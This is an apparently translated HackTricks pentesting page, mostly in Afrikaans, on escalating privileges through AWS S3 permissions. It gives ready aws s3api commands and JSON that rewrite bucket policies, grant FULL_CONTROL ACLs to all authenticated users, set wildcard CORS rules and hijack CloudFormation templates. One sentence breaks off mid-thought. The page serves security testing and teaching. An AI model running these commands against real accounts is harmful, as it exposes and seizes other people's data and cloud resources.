# AWS - S3 Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## S3

### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

’n aanvaller met daardie toestemmings oor interessante buckets kan hulpbronne kaap en bevoegdhede eskaleer.

Byvoorbeeld, ’n aanvaller met daardie **toestemmings oor ’n cloudformation bucket** met die naam "cf-templates-nohnwfax6a6i-us-east-1" sal die ontplooiing kan kaap. Die toegang kan gegee word met die volgende beleid:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
```
En die hijack is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik dat die sjabloon na die bucket opgelaaid word** tot die oomblik dat die **sjabloon gedeploy** word. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat sal **trigger wanneer 'n bucket notification gestuur word**, en **hijacks** die **content** van daardie **bucket**.

![](<../../../images/image (174).png>)

Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\
Vir meer inligting kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

Dit is die permissies om **objekte in S3 te kry en op te laai**. Verskeie services binne AWS (en buite dit) gebruik S3-berging om **konfigurasielêers** te stoor.\
'n Aanvaller met **lees toegang** tot hulle kan moontlik **sensitiewe inligting** vind.\
'n Aanvaller met **skryf toegang** tot hulle kan die **data wysig om 'n service te misbruik en te probeer bevoegdhede eskaleer**.\
Hier is 'n paar voorbeelde:

- As 'n EC2 instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **willekeurige kode binne die EC2 instance uit te voer**.

### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers gestoor word in blob-berging van cloud-aanbieders, bv. AWS S3. Die lêerbyvoegsel vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS rekening so 'n bucket om die state-lêers te stoor wat die toestand van die rekening toon.
Ook in werklike rekeninge het byna altyd al die ontwikkelaars `s3:*` en soms selfs sakegebruikers `s3:Put*`.

As jy dus die permissies oor hierdie lêers het, is daar 'n aanvalvektor wat jou toelaat om RCE in die pipeline te verkry met die voorregte van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Jy kan daardie vektor ook gebruik om 'n denial of service-aanval uit te voer deur `terraform` legitime hulpbronne te laat verwyder.

Volg die beskrywing in die *Abusing Terraform State Files* afdeling van die *Terraform Security* blad vir direkte bruikbare exploit-kode:

{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
{{#endref}}

### `s3:PutBucketPolicy`

'n Aanvaller wat **uit dieselfde rekening** moet wees — anders sal die fout `The specified method is not allowed` getrigger — met hierdie permissie sal in staat wees om homself meer permissies oor die bucket(s) te gee wat hom toelaat om buckets te lees, skryf, wysig, verwyder en blootstel.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`

An attacker kan hierdie permissies misbruik om **hom meer toegang te gee** tot spesifieke buckets.\
Neem kennis dat die attacker nie uit dieselfde account hoef te wees nie. Boonop kan die write access
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`

An attacker kan hierdie permissies misbruik om hom meer toegang tot spesifieke objekte binne buckets te gee.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

Van 'n aanvaller met hierdie voorregte word verwag dat hy 'n Acl op 'n spesifieke objekweergawe kan plaas.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`

'n aanvaller met die s3:PutBucketCORS-permissie kan 'n bucket se CORS (Cross-Origin Resource Sharing)-konfigurasie wysig, wat beheer watter webdomeine toegang tot sy eindpunte mag kry. As hulle 'n permissiewe beleid instel, kan enige webwerf direkte versoeke na die bucket maak en antwoorde vanaf 'n blaaier lees.

Dit beteken dus dat, moontlik, as 'n geauthentiseerde gebruiker van 'n web app wat vanaf die bucket gehuisves word die aanvaller se webwerf besoek, die aanvaller die permissiewe CORS-beleid kan uitbuit en, afhangende van die toepassing, toegang tot die gebruiker se profieldata kan kry of selfs die gebruiker se rekening kan hijack.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
```
{{#include ../../../../banners/hacktricks-training.md}}
